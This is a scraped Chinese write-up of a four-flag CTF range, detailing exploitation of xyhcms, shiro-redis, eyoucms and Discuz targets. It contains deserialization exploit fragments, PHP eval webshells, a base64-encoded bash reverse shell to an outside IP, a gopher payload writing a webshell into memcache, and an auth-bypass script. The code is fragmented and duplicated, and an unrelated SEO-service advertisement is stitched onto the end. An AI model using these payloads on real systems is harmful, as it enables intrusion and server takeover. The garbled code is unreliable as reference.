96SEO 2026-02-20 09:35 10
暗月在中秋节搞了个靶场活动一共有4个flag本着增长经验的想法参加了本次活动最终在活动结束的时候拿到了3个flag后面看了其他人的wp也复现拿到第四个flag。

过程比较曲折所以记录一下。
发现有redis想着如果有redis未授权或许可以先搞下一个于是先访问redis看下可惜需要认证
此处可以尝试redis的暴力破解不过既然还开放了其他几个端口我们也都看下是什么情况除了redis与ssh外还有四个可访问的web端口
目录浏览找到key--反序列化漏洞读取数据库配置文件--反序列化漏洞添加后台账户--反序列化漏洞结合缓存文件getshell
既然知道了是什么系统就先搜索xyhcms漏洞发现文章痛失CVE之xyhcms(thinkphp3.2.3)反序列化
主要是利用反序列化漏洞getshell通过文章给出信息访问http://103.108.67.223:8866/App/Runtime/Data/config/site.php
随手访问http://103.108.67.223:8866/App/
http://103.108.67.223:8866/App/Runtime/Logs/Home/23_09_20.log
http://103.108.67.223:8866/App/Runtime/Data/d51694dcb61d76bef156076835ffd7e7_config/site.php
原来是config前面多了串随机值通过此文件获得一个密码和序列化的key
ssh以及站点后台都没有成功那我们还是按文章中的反序列化漏洞来。
首先验证key是否正确用到以下脚本
$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr]);}return
base64_encode(self::__key($tmp,$this
self::__key(base64_decode($txt),$this
系统在判断登录用户身份的时候会从cookie中获取nickname的值然后反序列化展示我们首先随便注册一个用户登录后修改cookie中nickname的值为脚本生成内容刷新页面后用户名成功更换说明key正确
接下来要获取数据库连接信息结合此前获取到的根目录数据库配置文件应该在/var/www/html//App/Common/Conf/db.php
这里用到一个伪造的mysql客户端https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
修改脚本中filelist内容为/var/www/html//App/Common/Conf/db.php后运行
使用以下脚本生成序列化数据使程序发起对伪造mysql客户端的连接mysql信息只要ip与端口正确就可以密码随意脚本内容参考了scaner从外网到内网域渗透笔记
array(PDO::MYSQL_ATTR_LOCAL_INFILE
mysql:hostx.x.x.x(运行伪造mysql服务端的主机ip);dbnamexyhcms;port3306,username
\Think\Db\Driver\Mysql();$this-options[where]
\Think\Session\Driver\Memcache();}
$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr]);}return
base64_encode(self::__key($tmp,$this
self::__key(base64_decode($txt),$this
\Common\Lib\SysCrypt($key);$value
\Common\Lib\SysCrypt($key);$value
array(PDO::MYSQL_ATTR_LOCAL_INFILE
mysql:host127.0.0.1;dbnamexyhcms;port3306,username
\Think\Db\Driver\Mysql();$this-options[where]
(id,username,password,encrypt,user_type,is_lock,login_num)
(null,test,88bf2f72156e8e2accc2215f7a982a83,sggFkZ,9,0,4););}
\Think\Session\Driver\Memcache();}
$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr]);}return
base64_encode(self::__key($tmp,$this
self::__key(base64_decode($txt),$this
\Common\Lib\SysCrypt($key);$value
\Common\Lib\SysCrypt($key);$value
仍然是生成内容放入cookie中nickname字段刷新页面执行后使用test/123456成功登录后台
此版本无法直接编辑模版getshell但一些配置信息会以序列化的形式存储在php后缀的缓存文件中所以可以通过反序列化漏洞直接向数据库插入webshell然后配合缓存文件的生成来getshell运行以下脚本
array(PDO::MYSQL_ATTR_LOCAL_INFILE
mysql:host127.0.0.1;dbnamexyhcms;port3306,username
\Think\Db\Driver\Mysql();$this-options[where]
languagephpeval(\$_POST[acmd]);/script
\Think\Session\Driver\Memcache();}
$encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr]);}return
base64_encode(self::__key($tmp,$this
self::__key(base64_decode($txt),$this
\Common\Lib\SysCrypt($key);$value
\Common\Lib\SysCrypt($key);$value
修改nickname为exp生成的值后刷新页面后台操作清除全部缓存系统设置里后在“模块扩展”功能下点击“友情连接”即可重新生成缓存文件
通过根目录下的.dockerenv文件可知道在docker环境中先考虑提权反弹个shell后面才知道四个flag就是分别搞下那四个web系统没必要尝试提权此处仅当记录思路
部署https://github.com/The-Z-Labs/linux-exploit-suggester
本地在ubuntu系统中编译poc后上传到系统中尝试提权不过都失败了暂时放弃先继续看其他系统
暴力破解redis--结合shiro-redis的反序列化漏洞反弹shell
还是先搜索shiro-redis的漏洞找到文章redis未授权到shiro反序列化
里面提到系统从redis中获取session数据过程中会触发反序列化结合redis未授权的问题可以向redis中插入序列化数据来getshell。
之前测试过redis已知存在认证那就尝试下暴力破解吧。
使用msf的auxiliary/scanner/redis/redis_login模块成功获取口令abc123
接下来在系统中安装依赖https://github.com/cokeBeer/pyyso
s.connect((103.108.67.223,6379))
{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xNzMuMjMwLjE0NS4yMjQvMzMwNiAwPiYxCg}|{/usr/bin/base64,-d}|{/bin/bash,-i})
s.send(b\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n\x24str(len(key)).encode()b\r\nkeyb\r\n\x24str(len(value)).encode()b\r\nvalueb\r\n)
执行后在web中设置JSESSIONID值为9227后刷新页面触发反序列化
但反弹shell失败改为curl测试命令是否可执行成功触发curl此处因为靶场环境不稳定切换到了备用ip
经过多次尝试通过bash执行命令都没成功且带有|;等符号貌似也不会成功因此考虑利用msf生成后门生成后依次执行以下命令
后来看群里其他人也主要反映此靶场反弹shell不成功的问题不过也有人用最基础的反弹shell语句成功成了玄学问题。
。
。
eyoucms认证绕过漏洞--后台编辑模板getshell--bypass
仍然是搜索相关漏洞同时dirsearch扫描下系统文件结果如图
搜到一个rce漏洞eyoucms1.0前台getshell分析
里面提到的路径http://103.108.67.223:8880/index.php/api/Uploadify/preview
访问文章中提到的路径http://103.108.67.223:8880/index.php?mapicAjaxaget_tag_memberlist
继续尝试另一篇文章奇安信攻防社区-【代码审计】eyouCMS最新版getshell漏洞
http://103.108.67.223:8880/index.php?mapicAjaxaget_tokennameadmin_id
排除此问题搜到的高危问题都没发现此时没了好办法就开着burp在站点中点点点神奇的发现抓到如下数据包
这不就是认证绕过漏洞用到的路径吗后来经过测试原来不带X-Requested-With:
考核项目复现_eyoucms1.5.2前台getshell_许我写余生ღ的博客-CSDN博客
result.headers[set-cookie]).groups()[0])PHPSESSION
result.headers[set-cookie]).groups()[0]def
/index.php?mapicajaxaget_tokennameadmin_idresult
set_admin_login_expire(url):payload
/index.php?mapicajaxaget_tokennameadmin_login_expirewhile
set_admin_info_role_id(url):payload
/index.php?mapicajaxaget_tokennameadmin_info.role_idwhile
login.php?madmincSystemaweblangcnresult
如果第一个字符为字母就直接返回0不是则直到找到字母并且返回前面不是字母的字符
time()get_session(url)set_admin_id(url)set_admin_login_expire(url)set_admin_info_role_id(url)check_login(url)print(f[]
http://103.108.67.223:8880/run(url)
http://103.108.67.223:8880/login.php
修改template/pc/index.htm模板插入如下内容
?file_put_contents(./uploads/allimg/09221.php,base64_decode(PD9waHAKZXZhbCgkX1BPU1RbInRlc3QwOTIyIl0pOwo));
然后访问http://103.108.67.223:8880/index.php
轻车熟路的去根目录下找flag文件发现无法查看并且也无法执行命令
利用中国蚁剑的绕过disable_functions插件选择LD_PRELOAD模式
moonsec_flag{2f0460e434a10e8912c0ef6f630add2c}
利用discuz的authkey算法问题获得少量随机值种子--通过随机值种子生成memcache存储前缀字典--结合ssrf漏洞向本地memcache写入shell
访问首页得知使用了discuz!x3.2搜索相关漏洞有一个前台注入
x3.2前台GET型SQL注入漏洞绕过全局WAF访问http://103.148.244.120:8822/misc.php?modstatoptrendxml1merge1types[1]passwordas%20daytime%20from%20pre_common_statuser,pre_ucenter_members%20as
提示没权限看了下权限说明新手上路与注册用户都没有查看统计报表的权限因此放弃该漏洞
X版本出现的一些问题其中有一个3.4版本的authkey预测问题所以跟进看了一下参考Discuz
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz
sstr:resultstr(str_list.index(i))result
resultstr(str_list.index(i))result
下载https://www.openwall.com/php_mt_seed/
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz;$max
var_dump(substr($m,7));mt_srand(substr($m,7));fwrite($fp2,
http://127.0.0.1/dz3.3/idstring
{}member.php?modgetpasswduid{}id{}.format(url,
uid与sign内容需要找回密码功能获取然而在我尝试对自己注册的用户找回密码时发现没有收到邮件然后与管理员确认了一下确认是没有邮件功能的因此放弃此思路
其他主要漏洞是针对后台的所以访问http://103.148.244.120:8822/admin.php
php.php与phpinfo.php是phpinfo文件可以获取一些信息但是还不能getshell看到有install目录想着之前看到discuz漏洞的时候有个任意文件删除那能不能配合删除相关lock文件重新install来获取shell呢搜了一下找到篇文章Discuz!-X3.4-任意文件删除配合install过程getshell
第一步就是要求存在install/index.php文件靶场站点同样不存在放弃此思路
getshell搜索文章多翻了几页搜到一篇标题为“Discuz
GETSHELL漏洞解决方法”的文章里面提到了如果配置了memcache可以结合ssrf去getshell在phpinfo文件中可以看到memcache是配置了的
Discuz!-X-authkeyMemcachessrf-getshell
想着虽然我们暂时不知道authkey没法得知memcache的前缀但是
php_mt_seed跑出来的结果也就881个可以遍历跑一下下面就是测试ssrf按文章里提到的ssrf漏洞访问
http://103.148.244.120:8822/plugin.php?idwechat:wechatacwxregisterusernamevovavatarhttp%3A%2F%2Fwww.baidu.comwxopenidxxxyyy
/misc.php?modimgcropperpicflag2cutimg/:localhost:9090/dz-imgcropper-ssrf
以及文中提到的另一篇文章https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html
可以使这个看起来鸡肋的ssrf结合一个url跳转问题实现gopher的利用可惜到最后活动奖励名额满了ssrf这步都没有成功触发。
http://103.108.67.223:8822/forum.php?modajaxactiondownremoteimgmessage[img]http://x.x.x.x/dzssrf.jpg[/img]
解决了ssrf的问题那就接下来按我原来的思路看看能否搞完dz这个靶场。
由于暂时不能直接爆破authkey所以想着暴力去跑memcache的前缀getshell我们首先通过以下脚本根据种子生成下可能存在的memcache前缀
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz;$max
$matach[1];}else{continue;}mt_srand(intval($m));random(10);
这里用了之前文章提到的脚本但是估计php_mt_seed的版本跟之前不一样了跑出来的结果是seed
5.2.0)这种原来的正则部分已经失效了所以修改了下提取3862178这部分使用/
通过shell循环结合memcache前缀字典生成payload
gopher://localhost:11211/_set%20$i_setting%201%200%20222%0Aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A5%3A%22%2F.*%2Fe%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A68%3A%22file_put_contents(.%2Fdata%2Fcache%2Faaa.php%2C%3C%3Fphp%20eval(%24_POST%5Bi%5D)%3B%3F%3E)%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D
这里的payload要特别注意内容长度的问题我开始在这里踩了坑试了好多次就是不成功原因在于内容如下
a:2:{s:6:output;a:1:{s:4:preg;a:2:{s:6:search;a:1:{s:7:plugins;s:5:/.*/e;}s:7:replace;a:1:{s:7:plugins;s:68:file_put_contents(./data/cache/aaa.php,?php
eval($_POST[i]);?);}}}s:13:rewritestatus;i:1;}
222三个值其中222表示后面内容的长度如果擅自修改了内容比如webshell名称密码等就会因为长度不匹配而失败这里感谢iluem的提醒
由于直接利用gopher协议会因为特殊符号触发discuz的xss_check所以我们要在vps上建立一个php文件内容如下
这样我们就可以在ssrf参数中使用base64编码绕过xss检测通过php文件解码后进一步跳转gopher协议完成对memcache的数据写入
http://103.148.244.120:8822/forum.php?modajaxactiongetthreadtypesinajaxyes
因为我是生成一个aaa.php到/data/cache目录下所以这就是我们的webshell地址了
总的来说大部分靠前人的文章搞下来的还是需要善于搜索另外就是日常多去积累各种系统的实际利用经验才能在真实渗透过程中更快的完成目标。
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback